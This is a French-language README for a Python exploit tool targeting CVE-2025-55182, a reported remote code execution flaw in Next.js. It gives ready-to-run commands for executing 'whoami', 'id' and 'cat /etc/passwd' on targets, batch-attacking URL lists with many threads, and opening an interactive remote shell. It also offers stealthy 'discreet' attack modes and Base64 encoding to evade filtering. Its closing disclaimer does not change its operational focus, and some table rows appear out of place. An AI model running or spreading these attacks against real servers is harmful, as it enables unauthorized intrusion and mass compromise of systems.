
Exploit Python pour CVE-2025-55182 (RCE Next.js) avec scan de cibles unique ou par lots, exécution de commandes, shell interactif et 4 modes d'attaque avec prise en charge du codage Base64.
Cet outil permet de détecter et d'exploiter la vulnérabilité CVE-2025-55182 (supposée être une vulnérabilité d'exécution de code dans le framework Next.js ou associé). Il prend en charge la détection par lots sur cible unique/multiple, l'exécution de commandes, un shell interactif, etc., avec 4 modes d'attaque adaptés à différents scénarios, et propose des configurations flexibles comme l'encodage Base64 des commandes, le proxy, la journalisation.
La vulnérabilité CVE-2025-55182 pourrait exister dans des applications basées sur Next.js. Elle permet, par la construction de requêtes malveillantes, de modifier la logique d'exécution de _response, d'injecter un appel au module child_process et d'obtenir une exécution de commande à distance (RCE). L'outil envoie des données de formulaire spécialement conçues pour déclencher la vulnérabilité et renvoyer le résultat de la commande exécutée.
requestspip install requests
# Exécuter la commande whoami (mode d'attaque 1 : avec réponse)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"
# Exécuter une commande système (encodage Base64 pour éviter l'interception de caractères spéciaux)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b
# Mode réponse complète (décodage Base64 du résultat)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4
# Lire les URL cibles depuis un fichier, exécuter la commande id en masse (20 threads)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log
# Se connecter à la cible et entrer dans une ligne de commande interactive (prise en charge du basculement Base64)
python CVE-2025-55182-exploit.py -u https://target.com -s
# Utiliser le proxy Burp Suite pour analyser le trafic
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080
| Paramètre | Abrégé | Obligatoire | Description | Exemple |
|---|---|---|---|---|
--url | -u | Non | URL cible unique (à choisir avec -l ; priorité à -u si les deux sont fournis) | -u https://target.com |
--url-list | -l | Non | Fichier contenant la liste des URL cibles (une URL par ligne, sans protocole autorisé, complétée automatiquement en http/https) | -l urls.txt |
--payload | -p | Non | Mode d'attaque (par défaut : 1) 1=réponse (execSync) | 2=pas de réponse (execSync) 3=pas de réponse (exec) |
--cmd | -c | Non | Commande système à exécuter (obligatoire en mode batch ou cible unique ; mutuellement exclusif avec -s) | -c "whoami" ou -c "dir" |
--threads | -t | Non | Nombre de threads pour la détection par lots (par défaut : 10, conseillé ≤ 50) | -t 20 |
--outlog | -o | Non | Fichier de journalisation (par défaut : cve-2025-55182.log) | -o exploit.log |
--base64 | -b | Non | Encode la commande spécifiée par -c en Base64 (évite l'interception de caractères spéciaux) | -c "cat /etc/passwd" -b |
--cmd-shell | -s | Non | Mode shell interactif (uniquement pour cible unique avec -u ; mutuellement exclusif avec -c) | -u https://target.com -s |
--proxy | - | Non | Configuration proxy (prend en charge les proxies HTTP/HTTPS, pour la capture ou le transfert de trafic) |
| Numéro du mode | Description du mode | Caractéristiques | Scénario d'utilisation |
|---|---|---|---|
| 1 | Réponse (execSync) | Exécution synchrone de la commande, retourne une redirection 303, le résultat est inclus dans l'en-tête de réponse | Vérification rapide de la présence de la vulnérabilité |
| 2 | Pas de réponse (execSync) | Exécution synchrone de la commande, aucun résultat renvoyé (doit être confirmé par d'autres moyens) | Exécution discrète |
| 3 | Pas de réponse (exec) | Exécution asynchrone de la commande, aucun résultat renvoyé (peu de traces, adapté aux opérations sans confirmation) | Attaque par lots discrète |
| 4 | Réponse complète | Exécution synchrone de la commande, résultat encodé en Base64 renvoyé dans le corps de la réponse (décodé automatiquement par l'outil) | Scénario nécessitant la sortie complète de la commande |
En mode -s, les commandes intégrées suivantes sont disponibles :
| Commande | Description |
|---|---|
b64 | Passer en mode commande encodée Base64 |
nob64 | Quitter le mode encodage Base64 |
exit | Quitter le shell interactif |
? | Afficher l'aide |
--outlog, facilitant l'analyse ultérieure ;-u et -l sont mutuellement exclusifs ; si les deux sont spécifiés, -u est prioritaire ;-c et -s sont mutuellement exclusifs ; en mode -s, il n'est pas nécessaire de spécifier -c ;-l n'ont pas de protocole (ex. target.com), l'outil essaiera automatiquement http:// et https:// ;https://target.com) pour éviter des échecs de connexion inutiles ;-b ou b64 sont activés, l'outil gère automatiquement l'encodage/décodage Base64, aucune manipulation manuelle n'est nécessaire ;--time-out pour éviter des erreurs de jugement.--skip-check pour ignorer la vérification ;-p 4 mode réponse complète) ;-b) pour éviter que la commande ne soit interceptée par le système cible ;--time-out ;http://target.com).Cet outil est destiné uniquement à la recherche en cybersécurité et à la validation de vulnérabilités. Toute conséquence résultant de l'utilisation de cet outil en violation des lois et règlements applicables, notamment la Loi sur la cybersécurité, est de la seule responsabilité de l'utilisateur et non de l'auteur de l'outil.
--proxy http://127.0.0.1:8080 |
--skip-check | - | Non | Ignorer la vérification de connectivité du proxy (vérification de disponibilité du proxy par défaut) | --proxy http://127.0.0.1:8080 --skip-check |
--time-out | - | Non | Délai d'expiration de la requête (en secondes, par défaut : 10) | --time-out 15 |